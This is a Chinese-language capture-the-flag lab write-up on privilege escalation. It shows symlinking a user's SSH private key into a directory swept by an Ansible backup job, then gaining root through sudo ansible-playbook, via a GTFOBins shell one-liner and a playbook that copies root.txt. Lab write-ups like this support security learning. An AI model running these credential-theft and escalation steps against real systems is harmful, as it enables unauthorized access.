提权
在查看进程的时候发现了一个有趣的进程
命令:ps aux | grep root然后我们看看run.yml文件
发现tomcat只有读的权限cat /opt/backups/playbook/run.yml
第 4 行至关重要。看起来这里脚本copy_links=yes在src和dest文件之间建立了符号链接(As )。然后在第 8 行,它/opt/backups/archives以 gzip 格式备份文件。检查/var/lib/tomcat9/webapps/ROOT/admin/dashboard目录,
发现只有uploads目录可写网上了解搜索一下ansible playbook:https://blog.51cto.com/u_9019400/2385520这个yml是在做文件备份所以创建一个指向luis的id_rsa的软链接文件,我们可以把它放到/uploads目录中命令:ln -s ~/home/luis/.ssh/id_rsa /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/id_rsa然后可以在/opt/backups/archives下看到gz文件 然后解压
然后将压缩文件复制到tmp目录下
然后解压
命令:tar -xvf t.tar.gz切换到uploads目录然后查看id_rsa
保存到本地然后ssh 连接 但是在连接之前 需要给chmod 600
然后成功查看user.txtcat user.txt
提权root
第一种提权
sudo -l
发现luis不用密码就可以以root 执行ansible-playebook直接在提权网址发现一个提权方式
命令:TF=$(mktemp)echo ‘[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]‘ >$TFsudo ansible-playbook $TF
这样提权太快了提权网址:https://gtfobins.github.io/#
第二种提权:
创建一个root.yml文件
然后:sudo /usr/bin/ansible-playbook root.yml
第三种则是直接复制root.txt 也是创建yml文件
name: Ansible Copy Example Local to Remote hosts: localhost tasks: name: copying file with playbook become: true copy: src: /root/root.txt dest: /dev/shm owner: luis group: luis mode: 0777
使用sudo /usr/bin/ansible-playbook执行root.yml文件然后在dev/shm下找到root.txt
总结
通过这两个靶机 还是学到了不少 ssrf的利用 通过返回包看见a标签里面有一个路径 然后ssrf读取 发现密钥 到最后通过 pdb提权以及tomcat的..;绕过的方式 然后上传war 拿下shell 以及后面的利用ansible-playbook提权最后 还是知识面不够阿有什么不足 写得不对的地方 求师傅们指点